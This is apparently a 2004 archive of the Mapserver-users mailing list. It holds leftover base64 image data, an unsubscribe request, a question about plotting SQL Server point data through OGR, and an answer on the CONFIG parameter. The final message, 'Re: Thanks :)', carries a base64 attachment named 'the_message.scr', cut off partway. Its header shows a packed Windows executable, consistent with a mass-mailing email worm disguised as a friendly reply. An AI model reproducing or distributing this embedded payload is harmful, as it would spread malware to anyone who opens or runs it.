wujtx2PsyvZSHEhtR0Z6gj6Wzc5JmNijreHg5WXk5mZQRYzRra27Ru93t+htaqv1wGd0/rGJ 1FrQKqwBSSZlzSX2NLf7SqV/XP08w5rcGv1ns2PeSdxH7u6PopEjiN9wP8ELsHK55ctilhHu CePJKRjOHF95yHh9Usnyx4Pm9t08jrv2H6zZdz6XPxXVsottY0kM2w/doP5XvVTqmFmY+Ixv Tco2dK6jaGmv6W02n9+NzmOWfi/WmytuXTk0i/HzLHWOrLiIL/pNmPc1X+ndbb1HOwcFlLMX BxXi0t3TPpglkud/LQ336/hxMp5bPgMZ+yBHDCPuyJhkxZYYMfonwH1w5iM/k4Hd6p0vFtdT fnEDp3T63Pe08Odo1od/Ja3/AD1z/wBXm1Z/X35ePS3Hxsdp2MaAI3exm7+U5aWR1S7Mb1/G qYbWMqb6UDc3QBtv9r89ZuBXg4t3TbOj3Oty73sbkVA7g5hE3eoz/B+mkSOK+x/9BYMEJx5b LjmZe5OHt46s4ccMuP71kll/cnk45x92b6RhNilWEDEPsjwR1O4j/9L1QgJtrfBSSSU0s/pu LnUmrIrbaw8tcJXmnU/q5VX9ZR0vHcWVWAWQdS1pBc5o/wA1esLjfrb0nPb1CjrvTGepfjjb bUNS5onUN/O9rnMemZBpdf7zo/DOZniySgMnAMkJxhxH9WM1fqpS4v6zV/5ldPuxS2thrsA9 tskkH+UD9JYP1d6DVmZWQMsbhiu2GsEiXSRr/J9q2x9eMl1BxsLp9v2x42gOkhrv3tu3d7Vo /VTol+BivdlGcnJf6lusx/I/78m1GUhwix+l2bJz85y3K5o58pjkymIwgz48u/63JH1S4YcD sdP6ZVRjiuqttdY12tAA/BTp6Nh0Wm6iiuux/wBOxjWtcfuC0WDa0DwUlLQcfjlr6j6vm1+b +9+8jrrDAiJJJLX/0/VUl8qpJKfqpCu9OPfovlpJJT9MuZjbz+kE99D/AHKxSKAPa4E/Ar5e SSU/VSS+VUklP1UkvlVJJT//2QA4QklNBAYAAAAAAAcABAAAAAEBAP/iDFhJQ0NfUFJPRklM RQABAQAADEhMaW5vAhAAAG1udHJSR0IgWFlaIAfOAAIACQAGADEAAGFjc3BNU0ZUAAAAAElF QyBzUkdCAAAAAAAAAAAAAAAAAAD21gABAAAAANMtSFAgIAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEWNwcnQAAAFQAAAAM2Rlc2MAAAGEAAAAbHd0 cHQAAAHwAAAAFGJrcHQAAAIEAAAAFHJYWVoAAAIYAAAAFGdYWVoAAAIsAAAAFGJYWVoAAAJA AAAAFGRtbmQAAAJUAAAAcGRtZGQAAALEAAAAiHZ1ZWQAAANMAAAAhnZpZXcAAAPUAAAAJGx1 bWkAAAP4AAAAFG1lYXMAAAQMAAAAJHRlY2gAAAQwAAAADHJUUkMAAAQ8AAAIDGdUUkMAAAQ8 AAAIDGJUUkMAAAQ8AAAIDHRleHQAAAAAQ29weXJpZ2h0IChjKSAxOTk4IEhld2xldHQtUGFj a2FyZCBDb21wYW55AABkZXNjAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAAAAAAAA EnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABYWVogAAAAAAAA81EAAQAAAAEWzFhZWiAAAAAAAAAAAAAAAAAAAAAA WFlaIAAAAAAAAG+iAAA49QAAA5BYWVogAAAAAAAAYpkAALeFAAAY2lhZWiAAAAAAAAAkoAAA D4QAALbPZGVzYwAAAAAAAAAWSUVDIGh0dHA6Ly93d3cuaWVjLmNoAAAAAAAAAAAAAAAWSUVD IGh0dHA6Ly93d3cuaWVjLmNoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAGRlc2MAAAAAAAAALklFQyA2MTk2Ni0yLjEgRGVmYXVsdCBSR0IgY29sb3Vy IHNwYWNlIC0gc1JHQgAAAAAAAAAAAAAALklFQyA2MTk2Ni0yLjEgRGVmYXVsdCBSR0IgY29s b3VyIHNwYWNlIC0gc1JHQgAAAAAAAAAAAAAAAAAAAAAAAAAAAABkZXNjAAAAAAAAACxSZWZl cmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAAsUmVm ZXJlbmNlIFZpZXdpbmcgQ29uZGl0aW9uIGluIElFQzYxOTY2LTIuMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAdmlldwAAAAAAE6T+ABRfLgAQzxQAA+3MAAQTCwADXJ4AAAABWFlaIAAA AAAATAlWAFAAAABXH+dtZWFzAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAACjwAAAAJzaWcg AAAAAENSVCBjdXJ2AAAAAAAABAAAAAAFAAoADwAUABkAHgAjACgALQAyADcAOwBAAEUASgBP AFQAWQBeAGMAaABtAHIAdwB8AIEAhgCLAJAAlQCaAJ8ApACpAK4AsgC3ALwAwQDGAMsA0ADV ANsA4ADlAOsA8AD2APsBAQEHAQ0BEwEZAR8BJQErATIBOAE+AUUBTAFSAVkBYAFnAW4BdQF8 AYMBiwGSAZoBoQGpAbEBuQHBAckB0QHZAeEB6QHyAfoCAwIMAhQCHQImAi8COAJBAksCVAJd AmcCcQJ6AoQCjgKYAqICrAK2AsECywLVAuAC6wL1AwADCwMWAyEDLQM4A0MDTwNaA2YDcgN+ A4oDlgOiA64DugPHA9MD4APsA/kEBgQTBCAELQQ7BEgEVQRjBHEEfgSMBJoEqAS2BMQE0wTh BPAE/gUNBRwFKwU6BUkFWAVnBXcFhgWWBaYFtQXFBdUF5QX2BgYGFgYnBjcGSAZZBmoGewaM Bp0GrwbABtEG4wb1BwcHGQcrBz0HTwdhB3QHhgeZB6wHvwfSB+UH+AgLCB8IMghGCFoIbgiC CJYIqgi+CNII5wj7CRAJJQk6CU8JZAl5CY8JpAm6Cc8J5Qn7ChEKJwo9ClQKagqBCpgKrgrF CtwK8wsLCyILOQtRC2kLgAuYC7ALyAvhC/kMEgwqDEMMXAx1DI4MpwzADNkM8w0NDSYNQA1a DXQNjg2pDcMN3g34DhMOLg5JDmQOfw6bDrYO0g7uDwkPJQ9BD14Peg+WD7MPzw/sEAkQJhBD EGEQfhCbELkQ1xD1ERMRMRFPEW0RjBGqEckR6BIHEiYSRRJkEoQSoxLDEuMTAxMjE0MTYxOD E6QTxRPlFAYUJxRJFGoUixStFM4U8BUSFTQVVhV4FZsVvRXgFgMWJhZJFmwWjxayFtYW+hcd F0EXZReJF64X0hf3GBsYQBhlGIoYrxjVGPoZIBlFGWsZkRm3Gd0aBBoqGlEadxqeGsUa7BsU GzsbYxuKG7Ib2hwCHCocUhx7HKMczBz1HR4dRx1wHZkdwx3sHhYeQB5qHpQevh7pHxMfPh9p H5Qfvx/qIBUgQSBsIJggxCDwIRwhSCF1IaEhziH7IiciVSKCIq8i3SMKIzgjZiOUI8Ij8CQf JE0kfCSrJNolCSU4JWgllyXHJfcmJyZXJocmtyboJxgnSSd6J6sn3CgNKD8ocSiiKNQpBik4 KWspnSnQKgIqNSpoKpsqzysCKzYraSudK9EsBSw5LG4soizXLQwtQS12Last4S4WLkwugi63 Lu4vJC9aL5Evxy/+MDUwbDCkMNsxEjFKMYIxujHyMioyYzKbMtQzDTNGM38zuDPxNCs0ZTSe NNg1EzVNNYc1wjX9Njc2cjauNuk3JDdgN5w31zgUOFA4jDjIOQU5Qjl/Obw5+To2OnQ6sjrv Oy07azuqO+g8JzxlPKQ84z0iPWE9oT3gPiA+YD6gPuA/IT9hP6I/4kAjQGRApkDnQSlBakGs Qe5CMEJyQrVC90M6Q31DwEQDREdEikTORRJFVUWaRd5GIkZnRqtG8Ec1R3tHwEgFSEtIkUjX SR1JY0mpSfBKN0p9SsRLDEtTS5pL4kwqTHJMuk0CTUpNk03cTiVObk63TwBPSU+TT91QJ1Bx ULtRBlFQUZtR5lIxUnxSx1MTU19TqlP2VEJUj1TbVShVdVXCVg9WXFapVvdXRFeSV+BYL1h9 WMtZGllpWbhaB1pWWqZa9VtFW5Vb5Vw1XIZc1l0nXXhdyV4aXmxevV8PX2Ffs2AFYFdgqmD8 YU9homH1YklinGLwY0Njl2PrZEBklGTpZT1lkmXnZj1mkmboZz1nk2fpaD9olmjsaUNpmmnx akhqn2r3a09rp2v/bFdsr20IbWBtuW4SbmtuxG8eb3hv0XArcIZw4HE6cZVx8HJLcqZzAXNd c7h0FHRwdMx1KHWFdeF2Pnabdvh3VnezeBF4bnjMeSp5iXnnekZ6pXsEe2N7wnwhfIF84X1B faF+AX5ifsJ/I3+Ef+WAR4CogQqBa4HNgjCCkoL0g1eDuoQdhICE44VHhauGDoZyhteHO4ef iASIaYjOiTOJmYn+imSKyoswi5aL/IxjjMqNMY2Yjf+OZo7OjzaPnpAGkG6Q1pE/kaiSEZJ6 kuOTTZO2lCCUipT0lV+VyZY0lp+XCpd1l+CYTJi4mSSZkJn8mmia1ZtCm6+cHJyJnPedZJ3S nkCerp8dn4uf+qBpoNihR6G2oiailqMGo3aj5qRWpMelOKWpphqmi6b9p26n4KhSqMSpN6mp qhyqj6sCq3Wr6axcrNCtRK24ri2uoa8Wr4uwALB1sOqxYLHWskuywrM4s660JbSctRO1irYB tnm28Ldot+C4WbjRuUq5wro7urW7LrunvCG8m70VvY++Cr6Evv+/er/1wHDA7MFnwePCX8Lb w1jD1MRRxM7FS8XIxkbGw8dBx7/IPci8yTrJuco4yrfLNsu2zDXMtc01zbXONs62zzfPuNA5 0LrRPNG+0j/SwdNE08bUSdTL1U7V0dZV1tjXXNfg2GTY6Nls2fHadtr724DcBdyK3RDdlt4c 3qLfKd+v4DbgveFE4cziU+Lb42Pj6+Rz5PzlhOYN5pbnH+ep6DLovOlG6dDqW+rl63Dr++yG 7RHtnO4o7rTvQO/M8Fjw5fFy8f/yjPMZ86f0NPTC9VD13vZt9vv3ivgZ+Kj5OPnH+lf65/t3 /Af8mP0p/br+S/7c/23////uAA5BZG9iZQBkAAAAAAH/2wCEAAYEBAQFBAYFBQYJBgUGCQsI BgYICwwKCgsKCgwQDAwMDAwMEAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwBBwcHDQwN GBAQGBQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM DAwMDP/AABEIAEYASwMBEQACEQEDEQH/3QAEAAr/xAGiAAAABwEBAQEBAAAAAAAAAAAEBQMC BgEABwgJCgsBAAICAwEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAgEDAwIEAgYHAwQCBgJz AQIDEQQABSESMUFRBhNhInGBFDKRoQcVsUIjwVLR4TMWYvAkcoLxJUM0U5KismNzwjVEJ5Oj szYXVGR0w9LiCCaDCQoYGYSURUaktFbTVSga8uPzxNTk9GV1hZWltcXV5fVmdoaWprbG1ub2 N0dXZ3eHl6e3x9fn9zhIWGh4iJiouMjY6PgpOUlZaXmJmam5ydnp+So6SlpqeoqaqrrK2ur6 EQACAgECAwUFBAUGBAgDA20BAAIRAwQhEjFBBVETYSIGcYGRMqGx8BTB0eEjQhVSYnLxMyQ0 Q4IWklMlomOywgdz0jXiRIMXVJMICQoYGSY2RRonZHRVN/Kjs8MoKdPj84SUpLTE1OT0ZXWF laW1xdXl9UZWZnaGlqa2xtbm9kdXZ3eHl6e3x9fn9zhIWGh4iJiouMjY6Pg5SVlpeYmZqbnJ 2en5KjpKWmp6ipqqusra6vr/2gAMAwEAAhEDEQA/APVOKuxVjHn3zY3lnQjexW/1u7mljtbK 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 4tX6dsUJlZLZADg4Y/Ij9eKUwxV2KuxV2Kv/2Q== --------------040805000208060204060905-- --------------020905060205030103070900-- From JckHndy at aol.com Thu Jun 3 19:13:54 2004 From: JckHndy at aol.com (JckHndy at aol.com) Date: Thu, 3 Jun 2004 22:13:54 EDT Subject: [Mapserver-users] remove me from list Message-ID: <19b.25736dd0.2df134e2@aol.com> --part1_19b.25736dd0.2df134e2_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit remove me from list --part1_19b.25736dd0.2df134e2_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable remove me from list --part1_19b.25736dd0.2df134e2_boundary-- From Kalpin Sat Jun 5 21:01:37 2004 From: Kalpin (Kalpin) Date: Sun, 6 Jun 2004 11:01:37 +0700 Subject: [Mapserver-users] Virtual Spatial Data from SQL Server References: <90264B8395BF154DB2CB12B068DFFAE90529CB@westward.im-design.net> Message-ID: <021801c44b7a$f931a490$3701010a@kalpin> I was successfull if my data in point (x,y in longitude and latitude) but how if my data in blocks ? what must I do ? Thank you Kalpin Erlangga Silaen ----- Original Message ----- From: "IMD Listuser" To: Sent: Friday, June 04, 2004 4:14 AM Subject: [Mapserver-users] Virtual Spatial Data from SQL Server > Greetings all, > > I would like to plot point data that is stored in a single table in my > sql server db. According to > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData, I have > configured what I believe that I need: > > My mapserver is: > > > My VesselServer.ovf file contains: > > > > ODBC:VSClient/VSClient at VesselTracking > SELECT * FROM Log WHERE ID = 496600 > wkbPoint > WGS84 > y="latitude_dd"/> > > > > My Map file contains a layer as follows: > > LAYER > NAME "Vessel" > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "C:\Inetpub\wwwroot\VesselServer\VesselServer.ovf" > DATA "VesselPosition" > STATUS ON > LABELITEM log.timestamp_local > CLASS > COLOR 255 255 0 > OUTLINECOLOR 0 0 0 > SYMBOL 'circle' > SIZE 12 > LABEL > SIZE MEDIUM > TYPE BITMAP > COLOR 0 0 0 > END > END > END > > Im able to confirm that the OGR driver works by using ogrinfo as > follows: > C:\Inetpub\wwwroot\VESSEL~1>ogrinfo VesselServer.ovf VesselPosition > ERROR 4: Update access not supported for VRT datasources. > Had to open data source read-only. > INFO: Open of `VesselServer.ovf' > using driver `VRT' successful. > > Layer name: VesselPosition > Geometry: Point > Feature Count: 1 > ERROR 1: SetAttributeFilter() not supported on ExecuteSQL() results. > Extent: (24.973143, 74.614543) - (24.973143, 74.614543) > Layer SRS WKT: > GEOGCS["WGS 84", > DATUM["WGS_1984", > SPHEROID["WGS 84",6378137,298.257223563, > AUTHORITY["EPSG","7030"]], > TOWGS84[0,0,0,0,0,0,0], > AUTHORITY["EPSG","6326"]], > PRIMEM["Greenwich",0, > AUTHORITY["EPSG","8901"]], > UNIT["degree",0.0174532925199433, > AUTHORITY["EPSG","9108"]], > AXIS["Lat",NORTH], > AXIS["Long",EAST], > AUTHORITY["EPSG","4326"]] > id: Integer (10.0) > timestamp_local: String (23.0) > vessel_id: String (36.0) > coordinate_utc: String (23.0) > latitude_dd: Real (0.0) > longitude_dd: Real (0.0) > heading_degrees: Real (0.0) > speed_knots: Real (0.0) > ERROR 1: SetAttributeFilter() not supported on ExecuteSQL() results. > OGRFeature(VesselPosition):0 > id (Integer) = 496600 > timestamp_local (String) = 2004-06-03 16:52:53.907 > vessel_id (String) = 1DD0D82A-ADC1-4237-BF28-2DCC0CBC9D52 > coordinate_utc (String) = 2004-06-03 20:52:53.907 > latitude_dd (Real) = 74.61454299820765 > longitude_dd (Real) = 24.97314251396685 > heading_degrees (Real) = 3 > speed_knots (Real) = 63 > POINT (24.97314251 74.61454300 0.000) > > But, I am unable to see the results in a map :( > > Any suggestions, anyone? > > TIA > > Charlie > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From warmerdam at pobox.com Thu Jun 3 20:53:50 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 03 Jun 2004 23:53:50 -0400 Subject: [Mapserver-users] What is CONFIG parameter for? In-Reply-To: References: Message-ID: <40BFF24E.3050303@pobox.com> Tyler Mitchell wrote: >>Well, it's fairly opened ended but for now it basically passes on config >>options to GDAL/OGR and the special item for the PROJ_LIB. > > > Can it handle any variable or only certain ones? Tyler, Mostly just those that we have anticipated in advance and added support for. If it isn't a special key like PROJ_LIB, then it falls back to using the GDAL CPLSetConfigOption() call which can (increasingly) be used for any GDAL or OGR related configuration option. This includes GDAL_DATA, some special options for particular drivers (ie. the DODS_CONFIG item for which it was originally implemented), stuff that would control GDAL's raster caching. But these are all GDAL/OGR things that use the CPL configuration option architecture to get their information. I forsee other subsystems also utilizing the CONFIG keyword in the future if they have stuff they would normally just pick up from the environment or some other magic place. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From TMitchell at lignum.com Thu Jun 3 22:22:44 2004 From: TMitchell at lignum.com (TMitchell) Date: Thu, 03 Jun 2004 23:22:44 -0600 Subject: [Mapserver-users] Re: Thanks :) Message-ID: ----------pnlybsafaazejqwnxjwf Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------pnlybsafaazejqwnxjwf Content-Type: application/octet-stream; name="the_message.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.scr" 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 